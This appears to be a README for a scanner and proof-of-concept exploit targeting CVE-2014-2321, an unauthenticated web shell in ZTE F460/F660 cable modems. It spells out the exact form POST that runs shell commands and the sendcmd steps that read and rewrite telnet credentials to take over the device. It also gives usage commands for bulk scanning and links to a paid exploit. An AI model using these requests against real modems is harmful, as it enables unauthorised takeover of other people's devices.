
Scanner and proof-of-concept exploit for CVE-2014-2321, the unauthenticated web_shell_cmd.gch command execution backdoor in ZTE F460/F660 cable modems.
ZTE F460/F660 cable modems - unauthenticated built-in web shell at /web_shell_cmd.gch (sendcmd backdoor, CVSS 10)
| field | value |
|---|---|
| CVE | CVE-2014-2321 |
| severity | critical |
| CVSS | 10.0 (CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C) |
| fixed in | no public fix release; ZTE remediation is "apply the latest firmware update" (confirmed affected builds: 2.22.21P1T8S, 2.22.21P1T12S) |
| class | unauthenticated command execution via hardcoded web shell (CWE-264, NVD CPE zte:f460) |
| scanner version | 1.0.0 |
| python | 3.8+ stdlib only, no third-party deps |
If you want the exploit, find it here: https://satoshidisk.com/pay/CT5TGj
ZTE F460 and F660 cable modems ship a built-in web shell at
/web_shell_cmd.gch that executes whatever it is given through the
device BusyBox shell with no authentication at all. A plain GET already
answers with the shell prompt; a form POST carrying Cmd=<command>
runs the command and renders the output. The same interpreter accepts
sendcmd database commands, so an unauthenticated attacker can dump
the TelnetCfg table (telnet username/password/port) and rewrite it
with sendcmd 1 DB set TelnetCfg ... plus sendcmd 1 DB save, which
enables a TELNET service with attacker-chosen credentials - full
administrative access to the modem, hence the CVSS 10.0.
The management interface of the affected firmware exposes
web_shell_cmd.gch, a GCH page whose handler (leaked vendor source)
runs CmdAck = show_shellcmd(Cmd) whenever the form field
IF_ACTION=apply is present. The command channel is the urlencoded
body IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=<command>&CmdAck=
(the exact form used by the routersploit f460_f660_backdoor module,
the OpenVAS active check for VU#600724 and public goby PoCs), and the
device answers with the command output inside the response.
Two request shapes matter:
GET /web_shell_cmd.gch with no command returns the shell prompt
page. The nuclei template matches exactly this: status 200 plus the
body words please input shell command and
ZTE Corporation. All rights reserved (both required,
matchers-condition: and, max-request: 1).POST /web_shell_cmd.gch with the form above executes Cmd through
the BusyBox shell. echo <marker> proves interpretation (the marker
comes back in the output), and the CVE's own demonstration reads the
telnet credential table with sendcmd 1 DB p TelnetCfg
(TS_UName / TS_UPwd / TS_Port), which can then be overwritten
with sendcmd 1 DB set TelnetCfg 0 <field> <value> followed by
sendcmd 1 DB save.There is no public source patch to diff: the firmware is closed.
Detection and exploitation are therefore behaviour based - the shell
endpoint answers and interprets commands, or the build was updated by
the vendor. Affected devices also identify themselves with
Server: Mini web server, which the OpenVAS check uses as a prefilter.
GET {base}/web_shell_cmd.gch, no credentials, no cookies.please input shell command, and body contains
ZTE Corporation. All rights reserved (case-insensitive substring).check(url) returns (verdict, details) with status, content type,
reason phrase, a 300-char body window and the per-matcher booleans.token over the JSON result distinguishes a parsed
response from an empty or truncated one.urls.txt are auto-prefixed with http://.python scanner/CVE-2014-2321/scanner.py urls.txt 8 CVE-2014-2321.csv --json CVE-2014-2321.json
python exploit/CVE-2014-2321/exploit.py http://target/ --csv CVE-2014-2321.csv --json CVE-2014-2321.json --verbose
urls.txt is a plain file, one target per line, # for comments.
[*] ZTE F460/F660 cable modem CVE-2014-2321 web_shell_cmd.gch scanner
scanner : CVE-2014-2321 v1.0.0
endpoint: GET /web_shell_cmd.gch
matcher : word 'please input shell command' AND word 'ZTE Corporation. All rights reserved' AND status 200
threads : 4 | csv: s.csv | json: s.json
[*] ZTE F460/F660 cable modem CVE-2014-2321 web_shell_cmd.gch scanner
[2026-12-04 08:05:04] loaded 1 target(s) from urls.txt
[2026-12-04 08:05:04] [1/1] http://127.0.0.1:8099 -> VULNERABLE
[2026-12-04 08:05:04] json sidecar saved: s.json
[2026-12-04 08:05:04] summary: total=1 vulnerable=1 not-vuln=0 errors=0
[2026-12-04 08:05:04] timing : avg=7ms max=7ms wall=0.01s
[2026-12-04 08:05:04] report saved: s.csv
| column | meaning |
|---|---|
| n | 1-based row number |
| url | target as provided |
| status | ok / error |
| vulnerable | verdict |
| elapsed_ms | per-target timing |
| token | md5 proof-of-parse (12 chars) |
| result_b64 | base64(JSON) full details |
scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.README.md - this file.DESCRIPTION.md - deeper technical notes.../../exploit/CVE-2014-2321/exploit.py - two-request POC (prompt
probe + Cmd= form execution) with numbered checks and md5 token.| code | meaning |
|---|---|
| 0 | at least one target answered |
| 2 | every target errored |